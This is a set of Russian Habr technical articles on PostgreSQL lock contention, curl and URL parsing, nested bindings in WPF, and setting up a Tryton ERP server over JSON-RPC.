Высокоморальные легковесные `share`-локи — пропускающие в очередь `exclusive`-локи — решили проблему часовых задержек в многоузловой системе. Хэш‐табличка `buffer manager`-а не работала из‐за слишком большого потока `share lock`-ов, которые не оставляли шанса блокировкам, необходимым для вытеснения старых буферов и загрузки новых. Проблемы с расширением буфера для таблиц базы была лишь следствием этого. До этого удалось расшить узкое место с доступом к корню `B-tree`.
PostgreSQL не создавали в расчете на NUMA-архитектуры и суперкомпьютеры. Приспособить к таким архитектурам Postgres это огромная работа, которая потребовала бы (и, возможно, потребует) скоординированных усилий многих людей и даже компаний. Но неприятные следствия этих архитектурных проблем смягчить можно. И приходится: типы нагрузки, которые привели к задержкам, подобным описанным, вполне типичны, к нам продолжают поступать похожие сигналы бедствия из других мест. Схожие неприятности проявлялись и раньше — на системах с меньшим количеством ядер, просто последствия были не столь чудовищны, и симптомы лечили другими способами и другими патчами. Теперь появилось еще одно лекарство — не универсальное, но явно полезное.
Итак, когда PostgreSQL работает с памятью всей системы как с локальной, никакая скоростная шина между узлами не сравнится с временем доступа к локальной памяти. Задачи возникают из-за этого непростые, часто срочные, но интересные. И опыт их решения полезен не только решающим, но и всему сообществу.
 | https://habr.com/ru/post/423685/ | null | ru | null |
# http://http://http://@http://http://?http://#http://
Пару дней назад я опубликовал этот твит:
Учитывая то, насколько много я получил комментов и ответов, я решил разобрать это подробнее. Правда ли это валидный URL? Во что он парсится? *Что вообще такое URL?*
### curl
Начнем с `curl`. Он разбирает эту строку, как и должен — как *валидный URL*. Чтобы было понятнее, я раскрасил его составные части:
**Черная** часть `http` — схема URL, указывает на протокол HTTP. Строка `://` разделяет схему и *authority part* (все, что до пути).
**Красная** часть `http` — имя пользователя; за ним следует `:` (двоеточие)
**Зеленая** часть `//http://` — пароль; отделен знаком `@`.
**Синяя** часть `http:` — имя хоста, включая двоеточие на конце. После этого двоеточия должен идти номер порта, но если его нет, то `curl` подставляет порт по умолчанию; браузеры поступают аналогично. Порт по умолчанию для HTTP имеет номер 80.
**Сиреневая** часть `//http://` — путь. В пути вполне могут встретиться и несколько слешей подряд, и двоеточие. После пути стоит `?` (знак вопроса).
**Оранжевая часть** `http://` — query. Все, что между `?` и `#`.
**Бирюзовая** часть `http://` — fragment, он же anchor, он же якорь, как его только не называют. Все, что справа от `#`.
Можете сами попробовать запросить этот URL с помощью `curl`:
```
curl "http://http://http://@http://http://?http://#http://" --resolve http:80:127.0.0.1
```
### Парсер URL в curl
Парсеру URL в `curl` уже пара десятков лет. Один из основных принципов его доработки — **не ломать существующие скрипты и приложения**. Поэтому даже если его поведение где-то расходится со стандартами, оно, вероятно, останется таким навсегда.
В самом начале разработки, парсер в `curl` проглатывал очень много вольностей в URL. С годами он становился все более строгим, но следы изначального поведения еще видны тут и там. Кроме того, мы были вынуждены дорабатывать парсер, чтобы он разбирал URL из реального мира, даже если они не соответствуют никаким стандартам. Если что-то работает в браузерах и других приложениях, это должно работать и в `curl`.
### Стандарты URL
Как я уже писал ранее, у понятия URL [на самом деле нет четкого определения](https://daniel.haxx.se/blog/2016/05/11/my-url-isnt-your-url/).
Есть определение UR**I** — не UR**L**! — в [RFC 3986](https://datatracker.ietf.org/doc/html/rfc3986). Есть [спецификация WHATWG](https://url.spec.whatwg.org/), которой следуют браузеры (или пытаются). А еще есть множество конкретных реализаций разной степени строгости, которые совершенно не обязательно следуют хоть какому-то из этих двух определений.
Если приглядеться повнимательней, то вряд ли хоть какие-то две реализации будут полностью соответствовать друг другу.
Поэтому если попытаться использовать наш безумный URL где-то в реальном мире, нельзя сказать точно, примут его или нет. Твиттер, к примеру, не понял, что это URL. И даже если он окажется валидным для них, они, скорее всего, распарсят его по-другому.
### Python и urllib
[April King](https://twitter.com/CubicleApril/status/1567191200813178891) протестировала наш безумный URL в питоновской `urllib`. И хотя он и разобрался успешно, но совершенно по-другому:
```
ParseResult(scheme='http',
netloc='http:',
path='//http://@http://http://',
params='',
query='http://',
fragment='http://')
```
Судя по ответам на мой твит, такой интерпретации придерживаются еще несколько парсеров. Вполне возможно, у них на самом деле один и тот же парсер под капотом.
### JavaScript
[Meduz](https://twitter.com/meduzen/status/1567177588669300736) показал мне, как этот URL разбирает JavaScript, и это оказалось очень похоже на наш результат с Python:
### Firefox и Chrome
Я дописал `127.0.0.1 http` в `/etc/hosts`, и скопипастил наш безумный URL в адресную строку Firefox. Браузер переписал его вот так:
```
http://http//http://@http://http://?http://#http://
```
Второе слева двоеточие съелось, все остальное осталось как прежде. Но, тем не менее, Firefox воспринял это как валидный URL, и открыл страницу с моего локального сервера.
Chrome повел себя точно так же.
### RFC 3986
В комментах кто-то заметил, что слэши в authority, не закодированные urlencode, не соответствуют RFC 3986. Секция 3.2 этого документа гласит:
> The authority component is preceded by a double slash ("//") and is terminated by the next slash ("/"), question mark ("?"), or number sign ("#") character, or by the end of the URI.
>
>
Это значит, что в нашем пароле `//http://` слеши в начале и конце должны быть заменены на `%2f`. То есть, получается, URL не валидный?
**Update (от автора):** похоже, что он все еще считается валидным, просто должен быть разобран иначе, чем это делает `curl`.
### HTTPS
Этот URL может быть переписан с использованием HTTPS:
```
https://https://https://@https://https://?https://#https://
```
Но я не использовал эту форму по нескольким причинам:
* Это на семь символов длиннее.
* Это сложнее протестировать локально, без возни с сертификатами. | https://habr.com/ru/post/687402/ | null | ru | null |
# Вложенные привязки в WPF
В WPF существует три вида привязок: **Binding**, **PriorityBinding** и **MultiBinding**. Все три привязки наследуются от одного базового класса **BindingBase**. PriorityBinding и MultiBinding позволяют к одному свойству привязать несколько других привязок, например:
```
```
**Исходный код класса JoinStringConverter**
```
public class JoinStringConverter : IMultiValueConverter
{
public object Convert(object[] values, Type targetType, object parameter, CultureInfo culture)
{
var separator = parameter as string ?? " ";
return string.Join(separator, values);
}
public object[] ConvertBack(object value, Type[] targetTypes, object parameter, CultureInfo culture)
{
var separator = parameter as string ?? " ";
return (value as string)?.Split(new[] { separator }, StringSplitOptions.None).Cast().ToArray();
}
}
```
Список привязок MultiBinding-а — это коллекция типа **Collection**. Логично было бы предположить, что внутри MultiBinding-а можно использовать еще один MultiBinding.
```
```
Но при выполнении такого кода ловим исключение "*BindingCollection не поддерживает элементы типа MultiBinding. Допускается только тип Binding.*". Зачем же было тогда использовать **Collection**, а не **Collection**? А потому, что если использовать **Collection**, мы бы поймали другое исключение "*Binding нельзя использовать в коллекции «Collection». «Binding» можно задать только в параметре DependencyProperty объекта DependencyObject.*".
Для решения проблемы вложенных привязок был написан класс NestedBinding, который позволяет использовать внутри себя другие привязки Binding и NestedBinding.
**Исходный код класса NestedBinding**
```
[ContentProperty(nameof(Bindings))]
public class NestedBinding : MarkupExtension
{
public NestedBinding()
{
Bindings = new Collection();
}
public Collection Bindings { get; }
public IMultiValueConverter Converter { get; set; }
public object ConverterParameter { get; set; }
public CultureInfo ConverterCulture { get; set; }
public override object ProvideValue(IServiceProvider serviceProvider)
{
if (!Bindings.Any())
throw new ArgumentNullException(nameof(Bindings));
if (Converter == null)
throw new ArgumentNullException(nameof(Converter));
var target = (IProvideValueTarget)serviceProvider.GetService(typeof(IProvideValueTarget));
if (target.TargetObject is Collection)
{
var binding = new Binding
{
Source = this
};
return binding;
}
var multiBinding = new MultiBinding
{
Mode = BindingMode.OneWay
};
var tree = GetNestedBindingsTree(this, multiBinding);
var converter = new NestedBindingConverter(tree);
multiBinding.Converter = converter;
return multiBinding.ProvideValue(serviceProvider);
}
private static NestedBindingsTree GetNestedBindingsTree(NestedBinding nestedBinding, MultiBinding multiBinding)
{
var tree = new NestedBindingsTree
{
Converter = nestedBinding.Converter,
ConverterParameter = nestedBinding.ConverterParameter,
ConverterCulture = nestedBinding.ConverterCulture
};
foreach (var bindingBase in nestedBinding.Bindings)
{
var binding = bindingBase as Binding;
var childNestedBinding = binding?.Source as NestedBinding;
if (childNestedBinding != null && binding.Converter == null)
{
tree.Nodes.Add(GetNestedBindingsTree(childNestedBinding, multiBinding));
continue;
}
tree.Nodes.Add(new NestedBindingNode(multiBinding.Bindings.Count));
multiBinding.Bindings.Add(bindingBase);
}
return tree;
}
}
```
**Исходный код классов NestedBindingNode и NestedBindingsTree**
```
public class NestedBindingNode
{
public NestedBindingNode(int index)
{
Index = index;
}
public int Index { get; }
public override string ToString()
{
return Index.ToString();
}
}
public class NestedBindingsTree : NestedBindingNode
{
public NestedBindingsTree() : base(-1)
{
Nodes = new List();
}
public IMultiValueConverter Converter { get; set; }
public object ConverterParameter { get; set; }
public CultureInfo ConverterCulture { get; set; }
public List Nodes { get; private set; }
}
```
**Исходный код класса NestedBindingConverter**
```
public class NestedBindingConverter : IMultiValueConverter
{
public NestedBindingConverter(NestedBindingsTree tree)
{
Tree = tree;
}
private NestedBindingsTree Tree { get; }
public object Convert(object[] values, Type targetType, object parameter, CultureInfo culture)
{
var value = GetTreeValue(Tree, values, targetType, culture);
return value;
}
private object GetTreeValue(NestedBindingsTree tree, object[] values, Type targetType, CultureInfo culture)
{
var objects = tree.Nodes.Select(x => x is NestedBindingsTree ? GetTreeValue((NestedBindingsTree)x, values, targetType, culture) : values[x.Index]).ToArray();
var value = tree.Converter.Convert(objects, targetType, tree.ConverterParameter, tree.ConverterCulture ?? culture);
return value;
}
public object[] ConvertBack(object value, Type[] targetTypes, object parameter, CultureInfo culture)
{
throw new NotImplementedException();
}
}
```
Реализован NestedBinding через обычный MultiBinding. Но т.к. MultiBinding не может принимать другой MultiBinding, то дерево разворачивается в список Binding-ов. Позиция этих Binding-ов и их конвертеры сохраняются для дальнейшей генерации исходного дерева в конвертере NestedBindingConverter.
Конвертер получает список значений всех привязок Binding и структуру исходного дерева. Далее рекурсией производится обход дерева, и вычисляются значения конвертеров.
Пример использования NestedBinding:
```
```
На выходе получаем строку «A, B C (DE), F».
Исходники выложены в [репозитории GitHub](https://github.com/itabaev/wpf-nestedbinding). | https://habr.com/ru/post/277157/ | null | ru | null |
# Разработка ERP на tryton: Часть 1
К нам пришел крупный проект по созданию ERP-системы для компании производителя. В качестве сервера выбор пал на tryton. Однако у них с документацией достаточно плохо. На просторах интернета удалось найти [официальную документацию](http://doc.tryton.org/3.2/), [куски кода с описанием](https://code.google.com/p/tryton/w/list) и [логи irc канала tryton](http://www.tryton.org/~irclog/). Данной информации очень мало для разработки какой-либо системы на tryton. Что б закрыть этот пробел, было решено документировать весь процесс разработки, в особенности подводные камни, с которыми пришлось столкнуться. Итак приступим.
[Часть 1: Установка tryotnd, структура запросов, работа с БД](http://habrahabr.ru/post/222121/)
[Часть 2: Структура методов, работа с пользователями и группами, установка модулей](http://habrahabr.ru/post/221887/)
[Часть 3: Работа с модулями компании(company), контрагентами(party), товаров(product) и склада(stock).](http://habrahabr.ru/post/224907/)
#### 1. Установка и предварительная настройка trytond
##### 1.1. Запуск сервера
Установить tryton можно из репозитариев, однако, нам данный путь не подходит. Так что идем к ним на [репозиторий](http://hg.tryton.org/). trytond — исходники сервера, tryton — gtk клиент. У нас в качестве клиента будет веб-интерфейс(yii), так что качаем непосредственно сервер [trytond](http://hg.tryton.org/trytond/archive/tip.zip). На данный момент последняя версия 3.2.0, её и будем рассматривать.
Скрипт сервера лежит в папке bin и называется trytond. У меня при попытке запуска trytond вываливался с ошибкой доступа к файлу конфига в /etc/trytond.conf. Волшебный ключик --help подсказал, что есть аргумент -c(--config) с помощью которого можно указать файл конфига. Запускать сервер приходится так `python trytond -с /home/username/trytond_path/etc/trytond.conf`.
##### 1.2. Подготовка БД
В документации заявлена поддержка postgresql, mysql, sqlite. Исходя из переписки разработчиков trytond в irc, то лучше mysql не использовать. Соответсвенно выбор пал на postgresql. С данной БД раньше не приходилось работать, поэтому я воспользовался небольшим [туториалом](http://eax.me/postgresql-install/).
Нам необходимо установить postgresql, создать там пользователя и обязательно наделить его правами для создания БД:
```
sudo aptitude install postgresql
sudo su -l postgres
psql
create user tryton with password 'tryton';
alter user tryton createdb;
\q
```
##### 1.3. Правка trytond.conf
Приступаем к правке конфига. Первое что мы видим — это не закомментированная строка `jsonrpc = localhost:8000`. Во всей документации используется xml-rpc, хотя он по дефолту не включен. Меня устраивает json-rpc, так что оставляем как есть.
Дальше идет настройка базы данных. Заполняем соответсвующими данными.
```
db_type = postgresql
db_host = localhost
db_port = 5432
db_user = tryton
db_password = tryton
```
Зададим пароль администратора `trytond admin_passwd = tryton`; у меня trytond отказался создавать БД с пустым паролем админа.
В последстви нам придется работать с модулями, так что включим автоматическую перезагрузку модулей `auto_reload = True`.
Укажем, куда складывать логи `logfile = /home/username/trytond_path/log/debug.log`.
В конечном итоге конфиг выглядит так:
**trytond.conf**
```
#This file is part of Tryton. The COPYRIGHT file at the top level of
#this repository contains the full copyright notices and license terms.
[options]
# Activate the json-rpc protocol
jsonrpc = localhost:8000
#ssl_jsonrpc = False
# This is the hostname used when generating tryton URI
#hostname_jsonrpc =
# Configure the path of json-rpc data
#jsondata_path = /var/www/localhost/tryton
# Activate the xml-rpc protocol
#xmlrpc = *:8069
#ssl_xmlrpc = False
# Activate the webdav protocol
#webdav = *:8080
#ssl_webdav = False
# This is the hostname used when generating WebDAV URI
#hostname_webdav =
# Configure the database type
# allowed values are postgresql, sqlite, mysql
db_type = postgresql
# Configure the database connection
## Note: Only databases owned by db_user will be displayed in the connection dialog
## of the Tryton client. db_user must have create permission for new databases
## to be able to use automatic database creation with the Tryton client.
db_host = localhost
db_port = 5432
db_user = tryton
db_password = tryton
#db_minconn = 1
#db_maxconn = 64
# Configure the postgresql path for the executable
#pg_path = None
# Configure the Tryton server password
admin_passwd = tryton
# Configure the path of the files for the pid and the logs
#pidfile = False
logfile = /home/clutcher/projects/erp/log/debug.log
#privatekey = server.pem
#certificate = server.pem
# Configure the SMTP connection
#smtp_server = localhost
#smtp_port = 25
#smtp_ssl = False
#smtp_tls = False
#smtp_password = False
#smtp_user = False
#smtp_default_from_email = False
# Configure the path to store attachments and sqlite database
#data_path = /var/lib/trytond
# Allow to run more than one instance of trytond
#multi_server = False
# Configure the session timeout (inactivity of the client in sec)
#session_timeout = 600
# Enable auto-reload of modules if changed
auto_reload = True
# Prevent database listing
#prevent_dblist = False
# Enable cron
# cron = True
# unoconv connection
#unoconv = pipe,name=trytond;urp;StarOffice.ComponentContext
# Number of retries on database operational error
# retry = 5
# Default language code
# language = en_US
```
##### 1.4. Логирование
У tryton есть несколько уровней логирования(в [документации](http://doc.tryton.org/3.2/tryton/doc/usage.html) указаны DEBUG, INFO, WARNING, ERROR, CRITICAL). В исходниках библиотеки logging нашлись такие строки:
```
CRITICAL = 50
FATAL = CRITICAL
ERROR = 40
WARNING = 30
WARN = WARNING
INFO = 20
DEBUG = 10
NOTSET = 0
```
Чем больше цифра, тем менее детальные логи. В irc мелькало, что `NOTSET` делает самые расширенные логи, хотя в документации не слово об этом не сказано, так что я остановился на уровне `DEBUG`.
Для того, что бы задать уровень логирования необходимо отредактировать trytond/server.py (27 строка): `level=logging.INFO`.
#### 2. Структура запроса, API по рабте с БД, создание БД
Конфиг поменяли, теперь запускаем сервер. Скудное описания API сервера я можно найти [тут](http://doc.tryton.org/3.2/trytond/doc/ref/index.html), но этого явно не достаточно, поэтому продолжаем разбираться дальше. В сети полно python кода для работы с сервером напрямую. Выглядит он примерно так:
```
from jsonrpc import ServerProxy
connection = ServerProxy("localhost", "8000", "tryton", verbose=0)
name = "model.ir.model.search"
model_ids = conn.execute(name, [])
```
После долгих попыток зауска этого кода, оказалось, что jsonrpc — это не стандартная библиотека из pypi, а собственная библиотека разработчиков trytond, которую можно выковырять из клиента(не путать с trytond/protocols/jsonrpc.py — это разные библиотеки). Качаем tryton, распаковываем, и в папке tryton находим наш заветный jsonrpc.py. Теперь можно на python общаться с trytond, однако у нас фронтенд будет на php, поэтому продолжаем копать дальше.
##### 2.1. Структура запроса
После продолжительного разбора полётов получаем первый рабочий код(не забываем, что сервер trytond должен быть запущен):
```
import json
import requests
url = 'http://localhost:8000/'
id = 1
methodname = 'common.db.list'
params = '[]'
request = json.dumps({
'id': id,
'method': methodname,
'params': params,
})
r = requests.post(url, data=request)
print r.json()
```
Этот код уже понятен и его не сложно перенести на необходимый ЯП(php, Java ...). Теперь изучим этот запрос.
Разберемся с url запроса. Все действия с БД делаются на url `localhost:8000/`. Дл работы с БД мы делаем запросы на url `localhost:8000/db_name`. Предполагается, что читатель уже знаком с [json-rpc](http://ru.wikipedia.org/wiki/JSON-RPC), поэтому структуру запроса описывать не будем.
##### 2.2. API для работы с БД
И вот долгожданное API по работе с `localhost:8000`, которое удалось вытащить из trytond/protocols/dispatcher.py и кусков кода из irc канала:
| Название метода | Параметры | Описание |
| --- | --- | --- |
| common.server.version | [] | Узнать версию сервера |
| common.db.list | [] | Список существующих БД |
| common.server.login | [user\_name, user\_pass] | Залогинится(возвращается id и cookie пользователя) |
| common.db.create | [user\_id, user\_cookie, database\_name, password, lang, admin\_password] | Создать БД |
| common.db.drop | [user\_id, user\_cookie, database\_name, password] | Удалить БД |
| common.db.dump | [user\_id, user\_cookie, database\_name, password] | Сделать дамп БД |
| common.db.restore | [user\_id, user\_cookie, database\_name, password, data, update=False] | Восстановить БД |
У tryton есть анонимные и аутентифицированные запросы. К примеру, common.server.version — анонимный запрос, его можно выполнить не логинясь на сервер. Для common.db.create, можно не указать id и cookie, запрос всё равно выполнится. Для аутентифицированых запросов необходимо обязательно указывать id и cookie.
##### 2.3. Создание БД
Следующий шаг — создать БД, которая необходима для функционирования trytond(юзеры, кеширование ...) и непосрдственно ERP-системы. Скрипт выполняется около минуты:
```
import json
import requests
url = 'http://localhost:8000/'
id = 2
methodname = 'common.db.create'
params = [None, None, 'tryton', 'tryton', 'ru_RU', 'tryton']
request = json.dumps({
'id': id,
'method': methodname,
'params': params,
})
r = requests.post(url, data=request)
print r.json()
```
tryton сам создаст нужные ему таблицы в БД. Следует отметить, что tryton не сможет создать таблицы в существующей пустой БД даже, если дать пользователю соответсвующие права. Мы назвали БД tryton, поэтому в дальнейшем запросы необходимо делать на адрес `localhost:8000/tryton`.
#### 3. trytond methods
Где-то на просторах гугл групп по tryton мне удалось найти метод `system.server.listMethods`.
```
import json
import requests
url = 'http://localhost:8000/tryton'
id = 3
methodname = 'system.server.listMethods'
params = '[]'
request = json.dumps({
'id': id,
'method': methodname,
'params': params,
})
r = requests.post(url, data=request)
print r.json()
```
И наконец-то получаем долгожданный ответ сервера с названиями методов, некоторые из которых описаны в [документации](http://doc.tryton.org/3.2/trytond/doc/ref/index.html):
**Методы trytond**{
«id»: 3,
«result»: [
«model.ir.module.module.config\_wizard.done.view\_toolbar\_get»,
«model.ir.module.module.config\_wizard.done.fields\_view\_get»,
«model.ir.module.module.config\_wizard.done.on\_change\_with»,
«model.ir.module.module.config\_wizard.done.pre\_validate»,
«model.ir.module.module.config\_wizard.done.fields\_get»,
«model.ir.module.module.config\_wizard.done.default\_get»,
«model.ir.model.print\_model\_graph.start.view\_toolbar\_get»,
«model.ir.model.print\_model\_graph.start.fields\_view\_get»,
«model.ir.model.print\_model\_graph.start.on\_change\_with»,
«model.ir.model.print\_model\_graph.start.pre\_validate»,
«model.ir.model.print\_model\_graph.start.fields\_get»,
«model.ir.model.print\_model\_graph.start.default\_get»,
«model.ir.module.module.install\_upgrade.start.view\_toolbar\_get»,
«model.ir.module.module.install\_upgrade.start.fields\_view\_get»,
«model.ir.module.module.install\_upgrade.start.on\_change\_with»,
«model.ir.module.module.install\_upgrade.start.pre\_validate»,
«model.ir.module.module.install\_upgrade.start.fields\_get»,
«model.ir.module.module.install\_upgrade.start.default\_get»,
«model.res.user.login.attempt.pre\_validate»,
«model.res.user.login.attempt.fields\_get»,
«model.res.user.login.attempt.default\_get»,
«model.res.user.login.attempt.on\_change\_with»,
«model.ir.ui.menu-res.group.pre\_validate»,
«model.ir.ui.menu-res.group.fields\_get»,
«model.ir.ui.menu-res.group.default\_get»,
«model.ir.ui.menu-res.group.on\_change\_with»,
«model.ir.action.act\_window.domain.view\_toolbar\_get»,
«model.ir.action.act\_window.domain.fields\_view\_get»,
«model.ir.action.act\_window.domain.export\_data»,
«model.ir.action.act\_window.domain.search\_read»,
«model.ir.action.act\_window.domain.import\_data»,
«model.ir.action.act\_window.domain.create»,
«model.ir.action.act\_window.domain.search»,
«model.ir.action.act\_window.domain.on\_change\_with»,
«model.ir.action.act\_window.domain.write»,
«model.ir.action.act\_window.domain.read»,
«model.ir.action.act\_window.domain.search\_count»,
«model.ir.action.act\_window.domain.history\_revisions»,
«model.ir.action.act\_window.domain.pre\_validate»,
«model.ir.action.act\_window.domain.copy»,
«model.ir.action.act\_window.domain.fields\_get»,
«model.ir.action.act\_window.domain.default\_get»,
«model.ir.action.act\_window.domain.delete»,
«model.ir.model.access.view\_toolbar\_get»,
«model.ir.model.access.fields\_view\_get»,
«model.ir.model.access.export\_data»,
«model.ir.model.access.search\_read»,
«model.ir.model.access.import\_data»,
«model.ir.model.access.create»,
«model.ir.model.access.get\_access»,
«model.ir.model.access.search»,
«model.ir.model.access.on\_change\_with»,
«model.ir.model.access.write»,
«model.ir.model.access.read»,
«model.ir.model.access.search\_count»,
«model.ir.model.access.history\_revisions»,
«model.ir.model.access.pre\_validate»,
«model.ir.model.access.copy»,
«model.ir.model.access.fields\_get»,
«model.ir.model.access.default\_get»,
«model.ir.model.access.delete»,
«model.ir.ui.view\_tree\_state.view\_toolbar\_get»,
«model.ir.ui.view\_tree\_state.fields\_view\_get»,
«model.ir.ui.view\_tree\_state.export\_data»,
«model.ir.ui.view\_tree\_state.search\_read»,
«model.ir.ui.view\_tree\_state.import\_data»,
«model.ir.ui.view\_tree\_state.create»,
«model.ir.ui.view\_tree\_state.get»,
«model.ir.ui.view\_tree\_state.search»,
«model.ir.ui.view\_tree\_state.on\_change\_with»,
«model.ir.ui.view\_tree\_state.write»,
«model.ir.ui.view\_tree\_state.read»,
«model.ir.ui.view\_tree\_state.search\_count»,
«model.ir.ui.view\_tree\_state.set»,
«model.ir.ui.view\_tree\_state.history\_revisions»,
«model.ir.ui.view\_tree\_state.pre\_validate»,
«model.ir.ui.view\_tree\_state.copy»,
«model.ir.ui.view\_tree\_state.fields\_get»,
«model.ir.ui.view\_tree\_state.default\_get»,
«model.ir.ui.view\_tree\_state.delete»,
«model.ir.action.act\_window.view\_toolbar\_get»,
«model.ir.action.act\_window.fields\_view\_get»,
«model.ir.action.act\_window.export\_data»,
«model.ir.action.act\_window.search\_read»,
«model.ir.action.act\_window.import\_data»,
«model.ir.action.act\_window.create»,
«model.ir.action.act\_window.get»,
«model.ir.action.act\_window.search»,
«model.ir.action.act\_window.on\_change\_with»,
«model.ir.action.act\_window.write»,
«model.ir.action.act\_window.read»,
«model.ir.action.act\_window.search\_count»,
«model.ir.action.act\_window.history\_revisions»,
«model.ir.action.act\_window.pre\_validate»,
«model.ir.action.act\_window.copy»,
«model.ir.action.act\_window.fields\_get»,
«model.ir.action.act\_window.default\_get»,
«model.ir.action.act\_window.delete»,
«model.res.user.config.start.view\_toolbar\_get»,
«model.res.user.config.start.fields\_view\_get»,
«model.res.user.config.start.on\_change\_with»,
«model.res.user.config.start.pre\_validate»,
«model.res.user.config.start.fields\_get»,
«model.res.user.config.start.default\_get»,
«model.ir.module.module.dependency.view\_toolbar\_get»,
«model.ir.module.module.dependency.fields\_view\_get»,
«model.ir.module.module.dependency.export\_data»,
«model.ir.module.module.dependency.search\_read»,
«model.ir.module.module.dependency.import\_data»,
«model.ir.module.module.dependency.create»,
«model.ir.module.module.dependency.search»,
«model.ir.module.module.dependency.on\_change\_with»,
«model.ir.module.module.dependency.write»,
«model.ir.module.module.dependency.read»,
«model.ir.module.module.dependency.search\_count»,
«model.ir.module.module.dependency.history\_revisions»,
«model.ir.module.module.dependency.pre\_validate»,
«model.ir.module.module.dependency.copy»,
«model.ir.module.module.dependency.fields\_get»,
«model.ir.module.module.dependency.default\_get»,
«model.ir.module.module.dependency.delete»,
«model.ir.module.module.view\_toolbar\_get»,
«model.ir.module.module.fields\_view\_get»,
«model.ir.module.module.export\_data»,
«model.ir.module.module.search\_read»,
«model.ir.module.module.import\_data»,
«model.ir.module.module.create»,
«model.ir.module.module.on\_write»,
«model.ir.module.module.search»,
«model.ir.module.module.on\_change\_with»,
«model.ir.module.module.write»,
«model.ir.module.module.read»,
«model.ir.module.module.search\_count»,
«model.ir.module.module.history\_revisions»,
«model.ir.module.module.pre\_validate»,
«model.ir.module.module.copy»,
«model.ir.module.module.fields\_get»,
«model.ir.module.module.default\_get»,
«model.ir.module.module.delete»,
«model.ir.module.module.upgrade\_cancel»,
«model.ir.module.module.upgrade»,
«model.ir.module.module.install»,
«model.ir.module.module.uninstall\_cancel»,
«model.ir.module.module.install\_cancel»,
«model.ir.module.module.uninstall»,
«model.ir.action-res.group.pre\_validate»,
«model.ir.action-res.group.fields\_get»,
«model.ir.action-res.group.default\_get»,
«model.ir.action-res.group.on\_change\_with»,
«model.ir.translation.export.result.view\_toolbar\_get»,
«model.ir.translation.export.result.fields\_view\_get»,
«model.ir.translation.export.result.on\_change\_with»,
«model.ir.translation.export.result.pre\_validate»,
«model.ir.translation.export.result.fields\_get»,
«model.ir.translation.export.result.default\_get»,
«model.ir.action.view\_toolbar\_get»,
«model.ir.action.fields\_view\_get»,
«model.ir.action.get\_action\_id»,
«model.ir.action.export\_data»,
«model.ir.action.search\_read»,
«model.ir.action.import\_data»,
«model.ir.action.create»,
«model.ir.action.search»,
«model.ir.action.on\_change\_with»,
«model.ir.action.write»,
«model.ir.action.read»,
«model.ir.action.search\_count»,
«model.ir.action.history\_revisions»,
«model.ir.action.pre\_validate»,
«model.ir.action.copy»,
«model.ir.action.fields\_get»,
«model.ir.action.default\_get»,
«model.ir.action.delete»,
«model.ir.translation.set.succeed.view\_toolbar\_get»,
«model.ir.translation.set.succeed.fields\_view\_get»,
«model.ir.translation.set.succeed.on\_change\_with»,
«model.ir.translation.set.succeed.pre\_validate»,
«model.ir.translation.set.succeed.fields\_get»,
«model.ir.translation.set.succeed.default\_get»,
«model.ir.property.view\_toolbar\_get»,
«model.ir.property.fields\_view\_get»,
«model.ir.property.export\_data»,
«model.ir.property.search\_read»,
«model.ir.property.import\_data»,
«model.ir.property.create»,
«model.ir.property.search»,
«model.ir.property.on\_change\_with»,
«model.ir.property.write»,
«model.ir.property.read»,
«model.ir.property.search\_count»,
«model.ir.property.history\_revisions»,
«model.ir.property.pre\_validate»,
«model.ir.property.models\_get»,
«model.ir.property.copy»,
«model.ir.property.fields\_get»,
«model.ir.property.default\_get»,
«model.ir.property.delete»,
«model.ir.rule.group-res.group.pre\_validate»,
«model.ir.rule.group-res.group.fields\_get»,
«model.ir.rule.group-res.group.default\_get»,
«model.ir.rule.group-res.group.on\_change\_with»,
«model.ir.ui.view\_search.view\_toolbar\_get»,
«model.ir.ui.view\_search.fields\_view\_get»,
«model.ir.ui.view\_search.get\_search»,
«model.ir.ui.view\_search.export\_data»,
«model.ir.ui.view\_search.search\_read»,
«model.ir.ui.view\_search.import\_data»,
«model.ir.ui.view\_search.create»,
«model.ir.ui.view\_search.search»,
«model.ir.ui.view\_search.on\_change\_with»,
«model.ir.ui.view\_search.write»,
«model.ir.ui.view\_search.read»,
«model.ir.ui.view\_search.search\_count»,
«model.ir.ui.view\_search.history\_revisions»,
«model.ir.ui.view\_search.pre\_validate»,
«model.ir.ui.view\_search.copy»,
«model.ir.ui.view\_search.fields\_get»,
«model.ir.ui.view\_search.default\_get»,
«model.ir.ui.view\_search.delete»,
«model.ir.module.module.config\_wizard.first.view\_toolbar\_get»,
«model.ir.module.module.config\_wizard.first.fields\_view\_get»,
«model.ir.module.module.config\_wizard.first.on\_change\_with»,
«model.ir.module.module.config\_wizard.first.pre\_validate»,
«model.ir.module.module.config\_wizard.first.fields\_get»,
«model.ir.module.module.config\_wizard.first.default\_get»,
«model.ir.action.url.view\_toolbar\_get»,
«model.ir.action.url.fields\_view\_get»,
«model.ir.action.url.export\_data»,
«model.ir.action.url.search\_read»,
«model.ir.action.url.import\_data»,
«model.ir.action.url.create»,
«model.ir.action.url.search»,
«model.ir.action.url.on\_change\_with»,
«model.ir.action.url.write»,
«model.ir.action.url.read»,
«model.ir.action.url.search\_count»,
«model.ir.action.url.history\_revisions»,
«model.ir.action.url.pre\_validate»,
«model.ir.action.url.copy»,
«model.ir.action.url.fields\_get»,
«model.ir.action.url.default\_get»,
«model.ir.action.url.delete»,
«model.ir.action.act\_window.view.view\_toolbar\_get»,
«model.ir.action.act\_window.view.fields\_view\_get»,
«model.ir.action.act\_window.view.export\_data»,
«model.ir.action.act\_window.view.search\_read»,
«model.ir.action.act\_window.view.import\_data»,
«model.ir.action.act\_window.view.create»,
«model.ir.action.act\_window.view.search»,
«model.ir.action.act\_window.view.on\_change\_with»,
«model.ir.action.act\_window.view.write»,
«model.ir.action.act\_window.view.read»,
«model.ir.action.act\_window.view.search\_count»,
«model.ir.action.act\_window.view.history\_revisions»,
«model.ir.action.act\_window.view.pre\_validate»,
«model.ir.action.act\_window.view.copy»,
«model.ir.action.act\_window.view.fields\_get»,
«model.ir.action.act\_window.view.default\_get»,
«model.ir.action.act\_window.view.delete»,
«model.ir.sequence.strict.view\_toolbar\_get»,
«model.ir.sequence.strict.fields\_view\_get»,
«model.ir.sequence.strict.export\_data»,
«model.ir.sequence.strict.search\_read»,
«model.ir.sequence.strict.import\_data»,
«model.ir.sequence.strict.create»,
«model.ir.sequence.strict.search»,
«model.ir.sequence.strict.on\_change\_with»,
«model.ir.sequence.strict.write»,
«model.ir.sequence.strict.read»,
«model.ir.sequence.strict.search\_count»,
«model.ir.sequence.strict.code\_get»,
«model.ir.sequence.strict.history\_revisions»,
«model.ir.sequence.strict.pre\_validate»,
